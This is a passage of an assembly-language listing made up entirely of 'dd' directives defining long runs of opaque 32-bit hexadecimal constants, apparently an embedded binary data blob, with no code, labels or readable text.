8E8D1461h, 0CC3394A4h dd 785E309Fh, 0D2533006h, 5148DC0Ah, 707D4E37h, 3A1967C6h dd 0AE14DD7Ah, 0CC08CC57h, 0F906C489h, 7E870EBh, 8CA5ACE5h dd 0F8820DEh, 0CC002FF2h, 0B521CADDh, 0C876E4F8h, 0F6427829h dd 27F92410h, 84487494h, 12B03680h, 1FB5E08h, 47C398C7h dd 0F8D6705Ah, 0A70EF533h, 40B6C1E2h, 8BB54C20h, 3FAAF6EAh dd 4680B4B1h, 97A947FDh, 98001064h, 27D9CBFBh, 904C6Eh dd 79C7253Eh, 0C53481A4h, 8009CF00h, 0E9A20C84h, 0B2510060h dd 0D8B99495h, 1A06CBA3h, 0F4F804FDh, 27441030h, 0E8A0003Ah dd 5BD1609Bh, 0B35700FBh, 0C73598FAh, 1F002A12h, 0E373D4E5h dd 9DE706h, 8C4B2663h, 4096ECA4h, 10E16100h, 6C45084Ah dd 9D59004Fh, 4BFEF72Ah, 7E02C2E6h, 6D7CD9CDh, 0C550480Dh dd 6C090732h, 103A857Dh, 0C4A1DB73h, 0D6922307h, 18D0948Dh dd 0A4651Ch, 75A70E52h, 4C390F20h, 0A84A52h, 5A9EC9F9h dd 75286Dh, 1F39455Dh, 3E1B99A5h, 0E6A6DE0Ah, 0C48084A1h dd 0EF25A12h, 0E4630003h, 72E3BDAh, 0C0C01CA1h, 28F370C7h dd 0C4E00009h, 0FF468F7h, 3400D1C2h, 3CCA0639h, 0C70B21h dd 0DFE21E4Bh, 1A273632h, 69006E7Dh, 781CBA54h, 287A6615h dd 7AC7322h, 0C065F29Ch, 48B88079h, 0E6003BA0h, 276B5628h dd 0EC723D4Fh, 2A510061h, 0AAF08A26h, 0E576845Fh, 24B9E326h dd 0C1734300h, 541E16F3h, 53F04Ch, 9A2E86B6h, 0F43183A8h dd 8FED6D0Fh, 2F13815h, 8470EEh, 0D16296ABh, 0D70D3803h dd 0EA8ED20Fh, 884A002Eh, 1FD0A3Dh, 1F335A27h, 0E0AE2D9Fh dd 0C200D716h, 0CC430F75h, 96FE5Ch, 89AAE692h, 0DC9CCE5Bh dd 0DD9D0700h, 0B9F63A43h, 84050E0Eh, 9020BBE6h, 8924DF4h dd 409EA300h, 7A35670Fh, 2298C087h, 7B95090Eh, 60B4C8CFh dd 19A7D362h, 0AF5B00F6h, 0CA31F8C3h, 2C00B0A5h, 5C94B792h dd 65D8665h, 97AF29E2h, 8300A855h, 1B3B3DFAh, 3863A009h dd 54808692h, 0C2AE8CDh, 0CF007860h, 657DB8D3h, 0E21B3Ch dd 0C238D153h, 0BA3E59FDh, 0DFA6B0A0h, 0CEB7C400h, 0F384782Ah dd 204A006Eh, 0E4E5AF46h, 0B2071357h, 5D50D1A6h, 0CFC09B94h dd 7464017Ah, 394D0085h, 0BF74C838h, 9B12CBE8h, 0D00026A9h dd 5234B1C0h, 0B0A67C15h, 768802B7h, 7038184Ah, 0FEFBB0C0h dd 91BC6900h, 4F0BDB66h, 0F24FAC6h, 18FAA472h, 0D27CDEC0h dd 400A21Ch, 32AE2C3Dh, 0AD7DC1Bh, 62FA6E2Eh, 291E01A4h dd 20F60FF0h, 1F0059ECh, 0CE5EED8h, 0F56CEF4h, 0FD481425h dd 331CE923h, 7D9B57D0h, 4EED31C0h, 731F4420h, 0A029778Ch dd 182817B0h, 11164C65h, 3401212Eh, 0D4714219h, 0B0D40A92h dd 0BCA2004Dh, 8A51E7FAh, 0AD7FBE96h, 1147AF00h, 0A78D7D89h dd 0BC624C33h, 0E5D81A00h, 9918D269h, 8BA0BC00h, 3278F15Dh dd 0C4800B0Dh, 0C000BAFEh, 0DCC02D40h, 0B2DF2600h, 2EA4DA92h dd 7C61003Fh, 8B4FFFE7h, 72EA575Bh, 0C78C7400h, 8F3D4E49h dd 136800EEh, 50E839DEh, 0D4002819h, 2E55BF6Eh, 0BDC577h dd 0CBF54D12h, 0A5A2274Ah, 3700567Fh, 39F93AFFh, 0C15E3F53h dd 0B1E5DDF0h, 0D040DEF7h, 0CC988488h, 0D69C1700h, 671AD828h dd 704A1850h, 83FE1CEh, 3E630200h, 7C534277h, 17A600BAh dd 4FB6F050h, 850DB8Fh, 113F03D8h, 5CE780BBh, 99338DEDh dd 67E201B3h, 0B9491223h, 815AFCBFh, 0C7FA7700h, 51E394F7h dd 4D7F28h, 0E53FFBABh dd 69F03DF5h, 0A8C08201h, 0DDDC581Fh, 0ADC173FDh, 0BA17FFE4h dd 39647544h, 0F1017DC4h, 92C71A35h, 1266D025h, 55A7021Dh dd 0BDCC741Ch, 0FA9530DCh, 4C1D0119h, 2E98AB6h, 6148640Bh dd 973D2600h, 550C68ADh, 1C278D4h, 0E7D06657h, 227AFC28h dd 92EC77A8h, 5B3D4A04h, 0D0C05E45h, 0A9754Fh, 4BBDA8E0h dd 0EFADC27Ah, 918D3C1Eh, 0F8314D41h, 6422A40Fh, 20F2E412h dd 27E2C1C8h, 0A772F700h, 4362217Ah, 0B2450037h, 0CD3D38F8h dd 0C8040503h, 0E61632C2h, 1A3A5C81h, 9C3441D9h, 7B440790h dd 0AF2F0AABh, 5FD312D2h, 40401D98h, 34308B7Fh, 0D98848Eh dd 0DA322303h, 6464599h, 0EBBC7829h, 0D313519Ah, 1D004957h dd 0F88183BDh, 7AF0005Ch, 9AB289A7h, 0E006D93h, 83107D11h dd 95B4484h, 3B50EABBh, 0CEF64C80h, 0FEF02808h, 4900FF98h dd 13C0A638h, 4F78DD9h, 0C4596AC8h, 0A053C7C2h, 0D7D5B130h dd 2B03100h, 4A8B52F0h, 0F6FEF8FBh, 0CFFEEAh, 7E238C7Ah dd 66D34EDAh, 4974DF1Fh, 956C0680h, 7A3EF5h, 0A52F8D07h dd 490A79Ah, 9575F00h, 7736FF69h, 0C75000F1h, 3255ACC5h dd 0A904813Fh, 60205BC9h, 142E2880h, 0E58D28CAh, 1844E0DCh dd 0EA15417Fh, 0E90764F1h, 9AE29F22h, 0C8A43960h, 0EEFB000Ah dd 0F2D0CE6Eh, 18008529h, 9733DBC3h, 480B827Fh, 0EB0BE479h dd 78002A7Dh, 0E889B5FDh, 0F8CCE507h, 82F0AE2Bh, 15675C5h dd 38C6122Fh, 0C0D14107h, 933CF4A4h, 0EF630FA1h, 3B7680ADh dd 5367F27h, 0E851DC79h, 0A7E481ECh, 99028CDh, 2078C7F1h dd 64718334h, 6B3E24D7h, 3AD98E98h, 9E4979D8h, 0CAF70428h dd 0D3FBF400h, 14DC6F75h, 0BDC21F3Bh, 77DE81ECh, 815BCF23h dd 0DD575441h, 1424780Ch, 0E6600039h, 0DF3D1BB0h, 253B22A5h dd 1A2D00D7h, 892C3CE8h, 483571EFh, 0FB005C1Ch, 0FC4BB902h dd 4577BF98h, 69381898h, 67CD84F6h, 0B4C28DFFh, 3F85256h dd 0D6B80C47h, 0D8B948C9h, 0D14DD199h, 3E20BCA7h, 65F3ED1h dd 63EEA5E3h, 0EBE01BA9h, 0AFC04028h, 821D4588h, 8E00A0ADh dd 7A1D29BCh, 928F6EA6h, 5D303E63h, 92BD9990h, 28932A16h dd 49108901h, 35F832C8h, 99400A4Fh, 62C09E0h, 7074478Ch dd 0AA5C2C03h, 7597997h, 9453429h, 0C9C9A63Bh, 0B8E95D1Ah dd 3C348038h, 0C53180AAh, 842C5438h, 292C0512h, 641408B9h dd 0C44ECB1Fh, 0B1C56321h, 6EC0E816h, 0B879E09Bh, 487997h dd 1325BCCBh, 0A4BA2FF2h, 2AD54E3Dh, 1008832h, 4598784Fh dd 0E807EC7h, 8D4861DAh, 0FAA5F380h, 28C0DD87h, 0AF564EF7h dd 0ED130F6Eh, 178E8B39h, 4A49668Ch, 0A6106005h, 0D020B8EEh dd 7CDA8BF2h, 1A320087h, 3CF433BAh, 4000ADD6h, 0FA85C244h dd 0E8ABDE57h, 2517EE37h, 0D883B138h, 804F07Bh, 0C0661F61h dd 93F33481h, 4D03839h, 543078F8h, 8DE51029h, 74D8A8B7h dd 86C9615h, 22BFC55Dh, 83ABEC79h, 0BF05FF91h, 0B1114229h dd 0AC04107Fh, 952FB607h, 497A5087h, 0C8004319h, 5F56EFDCh dd 9A2774B5h, 0A14100E4h, 6A0B34CDh, 313F2E77h, 7DC78035h dd 0E41827C8h, 7C19048Fh, 0C0325A4Bh, 0A4C110DDh, 0FA00CFF2h dd 0BEA930EAh, 1FC6D2A3h, 7DF69417h, 4805980h, 0B6402123h dd 35BA570Eh, 84970AB9h, 12FD6981h, 8987FF3Dh, 0F48AE408h dd 0FA10CC09h, 39032F01h, 80C25522h, 1B6662E4h, 20973C3Dh dd 44BD5BE0h, 2D338B03h, 8925573Fh, 0B4528818h, 0E80CE007h dd 0E95F046Eh, 0D0034010h, 456830Ch, 0A7CD5E06h, 74718577h dd 9E520CD4h, 195032CCh, 0DA715E02h, 607880D5h, 0F85A5094h dd 895F00C5h, 569E6F9Ah, 1902E876h, 0EAB2022Ah, 0D158C09Bh dd 0B9C10CE4h, 0C311CBEFh, 3968C007h, 80AB795Dh, 48E321C4h dd 76CC0089h, 97FC47E7h, 0C71677BFh, 0ED0E5722h, 0B481C01Bh dd 0C012702Ah, 61DD6E9Ch, 400013A9h, 0B218C6A0h, 75641F25h dd 0D47C0051h, 22768C12h, 4A076287h, 2D10C8B9h, 808EABC0h dd 0B77300CFh, 0CC574BA9h, 9A039EE7h, 11BEE20Fh, 0EF86C8AAh dd 0E9E6008Ah, 0BD452E6Dh, 0AC00B5FAh, 91DA5B7Bh, 5F3B38Fh dd 718E5DA2h, 7AB400B4h, 649FAC3Ch, 0A046CD00h, 5F5B31C3h dd 0DD040005h, 0D67DB575h, 0F90093C0h, 0B2CE8B3Ah, 7433381h dd 38C5ED7Ah, 48E1925Ah, 12170C58h, 0D309E8D4h, 0F650016h dd 444E6Bh, 0D908C332h, 0AA95FE83h, 683CB51Eh, 21C6AF00h dd 60D577h, 25417E91h, 0EB88B444h, 0AFDFC304h, 5C8130ADh dd 7CCC92ACh, 29DECE0h, 8226CD21h, 38C0F780h, 6119C6B8h dd 0D9890451h, 0DC396C40h, 0BF4A38CBh, 55EEBC04h, 2628A0E2h dd 0A79F4B07h, 0E63E1E98h, 71806D2h, 493C0209h, 816E306Dh dd 0AB1287CFh, 3406A5BAh, 7229D4A4h, 70E85C03h, 0ADA2117Eh dd 0BED800D6h, 2B1812AAh, 9824006Eh, 2D77857Dh, 0D507F482h dd 1D3A0A34h, 611B37E1h, 0D21A8F3h, 8CCE3F39h, 62E7A380h dd 7AAE0905h, 55742A00h, 0B1F7527Bh, 0B8B77529h, 53450E2Bh dd 0F9800C58h, 0A94B2427h, 0F10F0AE6h, 346A97h, 842D1496h dd 0EDC4048Dh, 80C8321Eh, 0E51729E0h, 71E19001h, 0A7544E16h dd 1072160h, 0B8B1B2A6h, 2036F449h, 0F1007619h, 3394A1D2h dd 0EE5865h, 12242E83h, 7EBAE5D5h, 99149000h, 0FB394554h dd 1AB51FB1h, 55CC73Eh, 61E9E0A1h, 0DF2C9472h, 37005B31h dd 7DB4269Ch, 0BB880001h, 234C8EB3h, 457E9F69h, 15E5A201h dd 8CA4E732h, 0EE02FFCCh, 1D9E7CA5h, 808B1BD0h, 3A410BAAh dd 6C008230h, 8AEB069Fh, 51BDE2h, 0B1D2EA5Eh, 3B6920B4h dd 0F9A3A58h, 60A337CDh, 6BFA036Ch, 0DFE03ECh, 0B37DEE7Ah dd 979F63C0h, 484CDD0Ch, 0E268Bh, 8DDF2110h, 2D58E3CDh dd 0C1CE0200h, 0A2A006B3h, 0B5E500F6h, 0DA41ACC2h, 990CA88Eh dd 18F75174h, 7C4000FEh, 1A804F7Fh, 6A1D47EFh, 0C0000330h dd 96ED7E5h, 935F0F9Ah, 14A01DB5h, 2C285495h, 0F5C11C00h dd 0B2DC9D26h, 0ECDB7CA9h, 619600BFh, 0FBA54844h, 40002C3Fh dd 0C7520218h, 0D4A84h, 54319947h, 177AFE6Bh, 2D57F703h dd 0D8F2ACFBh, 98B14727h, 10A9037Dh, 4E6CC861h, 26A46B80h dd 21DFA700h, 92E0AE96h, 105B806h, 414371AAh, 0E04A3FF4h dd 6A3F5FE3h, 8A29AE31h, 0A3281800h, 0DE3D45h, 0B30FABC6h dd 0E09D91DDh, 2939F403h, 80FC6119h, 0B242D4D5h, 15ED09A0h dd 94002625h, 51375C66h, 1A685505h, 56862411h, 9DE73A29h dd 0AAB45600h, 0D326F109h, 2A36CC00h, 0FCF9C740h, 0AE2C1FE9h dd 92C0C00Eh, 73727BC9h, 3970E47Dh, 0D754EC00h, 0D06B1DCEh dd 5AF10092h, 435E2BAFh, 420F263Ah, 724D7335h, 60475C0Eh dd 0CF5B36ECh, 0E1800EAh, 9871726Eh, 0B70085EDh, 0D9694E0Fh dd 0EF88DFh, 813566D6h, 0D9E0564h, 0BE13F094h, 759D3E00h dd 0D07D6Ah, 2531AF54h, 74E0E11Eh, 8F52F801h, 44948AB2h dd 0AE4B8E1h, 7E5E00DEh, 751A025Ch, 0CB01933Dh, 0B2AFA723h dd 5C618ADBh, 0AFD6DD1h, 22B1E985h, 8EA50077h, 0AF68D081h dd 0D6089500h, 55CFF4DDh, 0E1F15F24h, 0FC8431BCh, 91009DEDh dd 0D26A945Ah, 7197D5h, 0FE196F56h, 0B208322Eh, 57E8E8D6h dd 0ACF84900h, 0F1A2AA60h, 8EC83C54h, 0CFBCE700h, 5C9032B6h dd 227F00DBh, 0DDA72E18h, 1A00BFFCh, 58E97EAAh, 16C3FD15h dd 0C0629FA2h, 1359258h, 7CE07000h, 0C3B3EFC7h, 0EC2F4CA1h dd 0FC98C804h, 24DCD055h dd 0D40033C4h, 0CAA91452h, 0EEB10C6Bh, 0A4080083h, 96778055h dd 0F7005B5Ah, 0ED72639Dh, 747164C6h, 8B6A0087h, 8F76D4EFh dd 783DBAE9h, 0E7D80486h, 0E0A4FAA5h, 28EF00E2h, 93AA742Eh dd 771F4598h, 612D9ADh, 0D1AB9490h, 1E434C63h, 30452D0Eh dd 1D4DF983h, 60482078h, 0D11600B7h, 6475BC62h, 0A3761F90h dd 0FDA08719h, 5449832Bh, 833C55B0h, 0E0D74200h, 0E45933C8h dd 234FA27h, 6A45AA64h, 0AAC0626Eh, 5B00A88Fh, 8C760DA6h dd 1DDDFACh, 0AA442C24h, 2D45B8A5h, 0F47B245Ch, 0ADEFD801h dd 6FF529E4h, 3C4FA3D7h, 5093098h, 1064A33Bh, 5C20E543h dd 94E954F8h, 14A478h, 8CB9C4E5h, 0AFD29DEh, 0ACF052DAh dd 0EC9307E3h, 6529EC77h, 0C9031F00h, 0DB9147B3h, 114A003Ch dd 6AAF1A0Eh, 0EC3B50F1h, 936480A8h, 431C2AC3h, 954D03E5h dd 802CF3A5h, 446E4809h, 3130102Bh, 611A6FB0h, 0DCF39300h dd 550C3DC1h, 19254A6Eh, 9EA400FCh, 0A533850Bh, 2675C3D8h dd 0D6FB5D0Fh, 6A5A2036h, 0F3FFFE0h, 86AC52EFh, 32E77DEEh dd 1AE61354h, 4D0D4907h, 0A595B0Ch, 4E0F2D06h, 0CF6CC0F4h dd 3BE0275Ah, 9160799Dh, 4DEBE523h, 133E3300h, 4F4B7719h dd 0AA5204C9h, 0C344FF62h, 47C36EF7h, 0A90C6115h, 2DB303B8h dd 0CFBA8E4Dh, 0DD4EBB70h, 1DE6005Bh, 0F843B696h, 17262B58h dd 0D0A62434h, 0AEA9CB06h, 1392F841h, 7BE1D8Eh, 20B7F7E2h dd 6133EB4Eh, 70CE3D37h, 2EA6A932h, 0D079E82h, 5E00745Ah dd 99B3154Bh, 881AE511h, 8A07A5FEh, 0E0917180h, 359BE311h dd 1D9B0D8h, 0AA4F1C6Dh, 27A278h, 0E90F3F7h, 0FAEA30E6h dd 0A7E01420h, 86FA6633h, 84CE3B26h, 65E9E400h, 0AEC99Ah dd 0A47158CFh, 0F53FF636h, 79B4100h, 0EF399457h, 95D63A21h dd 0CA810B80h, 38A11831h, 7A07F300h, 69090D97h, 4230CB5Bh dd 1F331900h, 0D0F92AAFh, 2700E008h, 0C95C406h, 0A09F2Dh dd 0A4D607F2h, 3DFD93F6h, 87079BEAh, 4A4D460Dh, 4E2C3380h dd 6B50E08h, 0B10BCCFDh, 13C0308Eh, 0B75BB8BEh, 0FCA00500h dd 937803DAh, 7530292h, 3D401D50h, 385ACCC0h, 0AF12216h dd 4CCAD00h, 810DD1h, 0A224EEBDh, 1C2B46AAh, 682A4901h dd 57335519h, 45EA7FDh, 85142F28h, 0D886F704h, 0A01012C2h dd 0D9E3FDh, 0E028F89Fh, 0ABC02EA6h, 5EF62500h, 6432D7D8h dd 0AD4219BDh, 8F429EDh, 328441Eh, 440C3344h, 228460D7h dd 30F82ADBh, 89F0F488h, 44C3086Ch, 28A08B1Ch, 3889D62Fh dd 1F448F08h, 0A53144C7h, 8444DF44h, 0F77B0D10h, 210EB321h dd 0B01130DEh, 6CAF19E2h, 0A7084F29h, 7C51DB65h, 6E051404h dd 1B427B48h, 218824DCh, 77126DB2h, 0CF864910h, 1111D479h dd 23116721h, 89667432h, 51C029h, 2D1BF309h, 39B79C31h dd 0F081D900h, 13D82494h, 7FBD03A4h, 3F736759h, 0A7C0E3C8h dd 0A3723900h, 5F822031h, 10B30084h, 451ACC6h, 0E000F67Ch dd 95E9FF81h, 1D9D19EBh, 0C530E1B0h, 9636B8h, 0DA5978C3h dd 5F3E2DBEh, 9D4B1F5Bh, 0BB7E7280h, 0F847F4B0h, 5C0A031Dh dd 21CFB583h, 0E8F2F388h, 0F60077F0h, 0A307D0C2h, 2A98AE6h dd 6755B29Dh, 38C0AA86h, 0BE0052F3h, 0A5E3D37Ch, 0C3A3D7h dd 37AF350Dh, 1912F9D4h, 99390909h, 0A35C2025h, 7AB8DCEFh dd 353C00E4h, 0D7F7DFC0h, 1B16555Dh, 1A07CE10h, 0B4C03882h dd 38267ACFh, 6F80EEC0h, 93B56096h, 48005686h, 3A0CA7E4h dd 0E803D2h, 0E6D8FCE9h, 6E088935h, 2C0E4300h, 51261D2Ah dd 0CD7BDBh, 685CAA39h, 566C177Fh, 0C700E89Ah, 5DC97EF8h dd 14325823h, 0D573187Ah, 0BAA79A18h, 4E00FFADh, 0B5D212BAh dd 0FAEDE07h, 0B2DB2973h, 0A7E3DE0h, 0A000DD48h, 0C2762002h dd 90C3B007h, 4E600606h, 10B498B2h, 3DA5FD03h, 16ADF5h dd 0DD0AEEB0h, 0B36C1D0Eh, 9131C0A0h, 0C533BA00h, 0F510BDA0h dd 5950025h, 589B73ACh, 3A00B739h, 4F9455AEh, 503429DDh dd 54A075h, 5E853887h, 586105B1h, 70608100h, 37989715h dd 10F09719h, 0A9D8EE00h, 3BF1D78Ch, 9E8600A5h, 0FF2B1748h dd 943BDC6Ah, 1E128F44h, 8AE3C014h, 899B51h, 50799A5Fh dd 613BBD92h, 0EB32A101h, 0C04FE0B6h, 78F05C61h, 80530E77h dd 9640FCCFh, 0B98BC812h, 64A65800h, 326ACA88h, 26E40BB3h dd 0CA808A8Dh, 0B9387CA2h, 840003F4h, 0CA57B012h, 9062FA15h dd 8D180039h, 0BBEF8BF6h, 4409B8E1h, 138121h, 0B7382CE2h dd 0F1AC0009h, 0A99E7505h, 8501123Eh, 0FD94FA16h, 5DD89796h dd 0CB111EBFh, 3F5BC014h, 359E4E89h, 17662B03h, 889DCF29h dd 0B8EA7E80h, 1F7E874h, 664D9E3Ch, 0C84A0BCEh, 722C3AABh dd 0D300F612h, 90600AA0h, 0B099017Eh, 82EA43E0h, 0E48C2080h dd 75239200h, 349DB7D3h, 99690094h, 9320F655h, 243FC0D1h dd 4EA98814h, 0F93833h, 0D0C79077h, 42CF2EABh, 0A9ADC20Fh dd 0A29683ECh, 46A1D088h, 28410743h, 1F128905h, 3053A3C7h dd 0B4631150h, 1FD14600h, 786808F1h, 167112EBh, 12C1C7Eh dd 70F4A882h, 91D1EC9Bh, 0DAB7280Eh, 0A159EE88h, 0B1DE22EBh dd 0B79CCh, 1AC92D3Eh, 339E9D3Ah, 0A86A8424h, 0A131FE60h dd 73F3005Eh, 5703E302h, 0B9099B93h, 77880880h, 63D4C680h dd 23744086h, 9C145906h, 4CA7EEh, 94A6A48Ch, 5DC43431h dd 0E70D51Eh, 20BF8580h, 4D62D51h, 7CD2FFB1h, 0E7989061h dd 300B42Fh, 37D8EBFEh, 3E409AB7h, 8D9352E6h, 9D8401D6h dd 0F4193E14h, 8A005AADh, 7837A276h, 7295BD8Bh, 92340009h dd 0B9E9D245h, 1F001B9Dh, 0CA8F6F4Eh, 0C1874h, 789623B7h dd 4BB090EFh, 581C8800h, 5541268Dh, 20C109A4h, 0C8A02D50h dd 9034658Ch, 0B9998E01h, 1BFE2919h, 0C0C4DF4h, 0A7B3E0E2h dd 1607DBF2h, 0E65D6CC0h, 0FA81C04Fh, 5E1B7Eh, 2B43183h dd 1EEC3A34h, 69A6AA03h, 6C1473Fh, 248E04CAh, 300046E9h dd 0D0CA49D3h, 5D9577Dh, 0B2916678h, 638448h, 779DEA4h dd 0B7009ED3h, 19C62145h, 0D18312h, 273F6380h, 0CF267094h dd 9BA4B10Bh, 49202396h, 0CCC094F5h, 0DAFB20h, 1FBEDB5Dh dd 4F4CC57Fh, 15002373h, 0DCF99553h, 49721019h, 963B0874h dd 76FEB780h, 664ED1F5h, 0E7CA3300h, 0E9DC3FF9h, 0FC2B07C7h dd 0DF930170h, 0F6F16380h, 0B2075FD7h, 83EC04DBh, 4F54F000h dd 0EF66002Dh, 51DA5BD0h, 0F27BF768h, 5926A200h, 3719C00Bh dd 46080901h, 0C020ACF6h, 985569F5h, 35092300h, 361A197Fh dd 0CFE8D6h, 945EFF8Dh, 31C63A47h, 2F106B00h, 83BB2D18h dd 0F96400C1h, 85F6EE29h, 960081AEh, 62820DD2h, 573204h dd 59C2AD87h, 0ED03749Fh, 5CE59600h, 55F5E481h, 7CC5014Ch dd 3EA5C2D5h, 0F169E07Eh, 5BEEF00h, 3012F5E2h, 68E3056Bh dd 0C0638D88h, 0A718043Bh, 968E1A00h, 0D37EFE50h, 9AE50080h dd 68137062h, 870ED0F4h, 2FF283B5h, 4EEA2033h, 3CE7475Eh dd 280EB794h, 5BA0DA4Ch, 1D3ABB8Bh, 2CDC38h, 3E5506B8h dd 4894E0B2h, 0B4006064h, 53C1BC8h, 0B807788Ah, 6E06F817h dd 741D7C00h, 777C62h, 0E6962758h, 0A63F1AF5h, 9E704100h dd 51FF134Eh, 7B3874CFh, 732C00C1h, 7F438853h, 0CE0083FDh dd 0ECDB3959h, 29A8D1h, 0E9A5A73Eh, 0E40F4E9Ah, 0AC843101h dd 668F7352h, 63FFD0h, 2F687D99h, 0A169559Dh, 7C7F5D1Fh dd 0CF69843h, 5901FF23h dd 71F494DBh, 0F4F07EC2h, 2191DAEh, 0AA420043h, 0C6E2298Eh dd 3EF52C3Fh, 9B7B00D7h, 66692D11h, 81521D19h, 5D0B095Eh dd 3C01FC0Bh, 30A1824Bh, 0BC07B32Ch, 28123F40h, 9BFFAB60h dd 0EBBA00F3h, 1A01250Dh, 0C013B45Fh, 78006D23h, 20D9A4C1h dd 0C7B80075h, 0DA77FA87h, 2400307Eh, 9F4E3A0Fh, 583DABA7h dd 0F44C53B1h, 76590600h, 648A96D3h, 296E5C00h, 0D2C41E92h dd 631A009Dh, 0D02D4440h, 90007F34h, 0FE15A1DFh, 7C060Eh dd 19C75D4Bh, 7BE06C63h, 2FA72E00h, 29D7B3EDh, 0D0054D3Dh dd 0CDAC9300h, 5BF67602h, 6623C512h, 56050000h, 2796568h dd 6F2AAD7h, 97817A2Ch, 60898CA5h, 1100D837h, 604587EBh dd 59776FCh, 6FC070A7h, 8004842Ah, 15984B5Fh, 0A5350E0Ch dd 0F27249h, 0E69BD5FDh, 50DDF46Eh, 74EC10C7h, 0D407BF05h dd 0EB70369Fh, 37B565h, 0D7BBD20Ch, 52F9D686h, 0D10D1601h dd 4E540334h, 41CF6C8h, 7CF315FEh, 7474D0A0h, 160F953Ch dd 0A0E4219Ch, 120050Dh, 0B014001Dh, 65D4151h, 42000F62h dd 254D914Ch, 24FFB6BEh, 0EED464h, 0AAE73F09h, 23263630h dd 74248DF7h, 0F84CD00h, 2C4BDFEFh, 1B4AC2Ah, 2731179Eh dd 2E47324h, 65C4C74Fh, 2FBC48CAh, 120BE6E3h, 363495Ch dd 306A61ACh, 1E3106A8h, 3EAC4200h, 0BB010ABCh, 6EE300FCh dd 59AEC01Ah, 9890B5A3h, 4713F6FCh, 84053C4Ch, 0E080909Ch dd 0C1CD81h, 0CA7A1C8Bh, 0AA1870FBh, 57046300h, 0F92B91ACh dd 37390135h, 8EBDADDh, 0F13030F0h, 97AE641Fh, 83725740h dd 3CC874AFh, 1B806162h, 8F4F9135h, 5004D5B8h, 5DF12363h dd 0D05390C0h, 27E0E5h, 0DAB53154h, 7D32C155h, 83037100h dd 6A5BD756h, 69490044h, 0A164FD10h, 0B2072216h, 2C358641h dd 3A800B9h, 0E26BE9C3h, 0B787005Bh, 0E6B19684h, 0E31CD761h dd 0CF64F30Ch, 3A416607h, 7ACADB80h, 495200B1h, 5DB6B262h dd 1FE022C3h, 0D71BEF04h, 0A88121D3h, 0A9E474D6h, 0AA0D013Ch dd 0CF873C5h, 1C09DCF4h, 0FC2A7C01h, 3CEC72C3h, 1FABB1F7h dd 395EECh, 7086A766h, 0B05B08D0h, 1D5C3303h, 0F04F602Bh dd 3F7F48BFh, 7138470Fh, 0C084359Eh, 0D4CEBAE5h, 0D800DF7Bh dd 0BDAD02C2h, 5C5C6B18h, 0E628005Ah, 0B6612C98h, 497D0070h dd 0FCC20FBEh, 80FEB03Ah, 0DD65D2E6h, 39725A97h, 0F6B9F3B8h dd 7844748Eh, 5F5C5E40h, 0D400F1C4h, 0B606E01Ch, 753E5Bh dd 7B0C6EBEh, 9BD7FF60h, 67696801h, 6F4537FBh, 7BEC50E4h dd 6D89006Ch, 0E590E3DEh, 0E81CA570h, 1C40AF8Dh, 0EE395F7Dh dd 0EB30171Fh, 0F75B01E6h, 0EC5270BCh, 0A7036DACh, 0DB85446Fh dd 0A30FFFB7h, 0E12C0323h, 0B820E55Ch, 0CD24079Ch, 0EF080CF0h dd 0B8E116AEh, 706F3C36h, 0EA0229E7h, 0AA079A3Eh, 5216E0A3h dd 0A7FD04D6h, 0E0E6330Dh, 56017F50h, 3F889E5Bh, 0B820DC98h dd 76390055h, 8ECFC27Eh, 0E0767233h, 6C52E00h, 9C6EB2Bh dd 62F42C9Bh, 9A930087h, 0D3E0D905h, 92881C00h, 0B2B3362Fh dd 433B00B9h, 66179523h, 3A057567h, 0FBCC06C7h, 41324582h dd 0EE0351Ch, 761618ACh, 9F6C80D7h, 9E84C200h, 0CB1F89B8h dd 0B1460514h, 80ABB793h, 863CEAC4h, 0A9CAF418h, 249A6C10h dd 1E554C70h, 0D3286Dh, 76D581E1h, 0B8F68DE4h, 8B076C74h dd 7AFA7D1Eh, 594D53E0h, 8E2C0119h, 0CDD306F6h, 45F2D4FDh dd 63E1EE02h, 70528737h, 1C010080h, 0A6D2462Ch, 400501Ah dd 0F54C3A55h, 4BBD6EFCh, 0C0001C7Ch, 0F8E8C7E7h, 0F40569B4h dd 4DD64240h, 0B9813090h, 0E27B5Eh, 436E778h, 754F64FBh dd 300C6976h, 7011C223h, 33617633h, 5C38EEDEh, 2B3596E8h dd 0B5786703h, 0DD7640CFh, 0E8DF9380h, 0BE930072h, 8A3B241Ah dd 0E4E04B83h, 2612A738h, 8824A57Bh, 875AEC00h, 7B94FE4Fh dd 0FDCA006Ah, 6DDDBEAh, 4E0C7958h, 60748BDEh, 0C3F10011h dd 0EE92DF0h, 1E0EA31Bh, 20BAE0FBh, 78CB611Ah, 0AA821FD9h dd 0C31242FFh, 33E00A54h, 0A801DE4Fh, 7D6F7BEAh, 4880F0E3h dd 0B99E1E1Ch, 1D26805Ah, 86027E93h, 60A5EE36h, 73A1D0h dd 72A34312h, 0DB80F540h, 0D3399113h, 4072900h, 1D0A79CBh dd 4046C5CEh, 40B9E632h, 2500E71Fh, 0DF72B2C9h, 766CB1h dd 0F9C106D4h, 0E2E68F86h, 43B0770Fh, 0D802E015h, 242AE1A6h dd 91CC232h, 6823F1E0h, 0C1CFBF84h, 200CBDD7h, 0FD07D055h dd 963D3EE4h, 0B39228E1h, 1EF0DCh, 73534021h, 15622A78h dd 0C7A4A6C7h, 13F3A120h, 8A5A007Ch, 8C6E9F71h, 8000F641h dd 0B29EEAEEh, 50B98750h, 1AA694h, 15BF10B7h, 9AA947CAh dd 0A3119300h, 0F171C255h, 634C0730h, 0C0DCEEF5h, 0FD1ABC97h dd 0D8003A78h, 74B69931h, 80FA16h, 0C3797F4Ah, 0A244706Eh dd 54539100h, 0B3739529h, 0AAAB01DAh, 0BF5E6411h, 0F7E9E4D2h dd 0E9070C3h, 0AA3D98A6h, 38A1C4Fh, 92414768h, 45E07F7Fh dd 5D57F68Fh, 64A6C50Fh, 0A9774272h, 441CE074h, 0BC6B00F3h dd 0A4FCE678h, 8A00C0BBh, 3AB65C62h, 7B56FFB3h, 0EE196027h dd 0E20D200Eh, 8A2AEA00h, 99B41AD8h, 50A200B9h, 0C15AAF0Fh dd 9D03DF14h, 0E5245EF6h, 0F251D02Ah, 0E6E9032Eh, 2BB0D0Ah dd 0F620AB88h, 50A45407h, 0B2E68DE7h, 5E9C1138h, 0C66C0B4Ah dd 0FB10802Fh, 0C02DAFCBh, 0A27C4519h, 0FF008A08h, 0FDC2C4D1h dd 548529h, 5B538E40h, 26A90B75h, 33D0CA0Eh, 18EFE086h dd 1FF87F1Dh, 9328E104h, 0C0F8C0D4h, 58FE7293h, 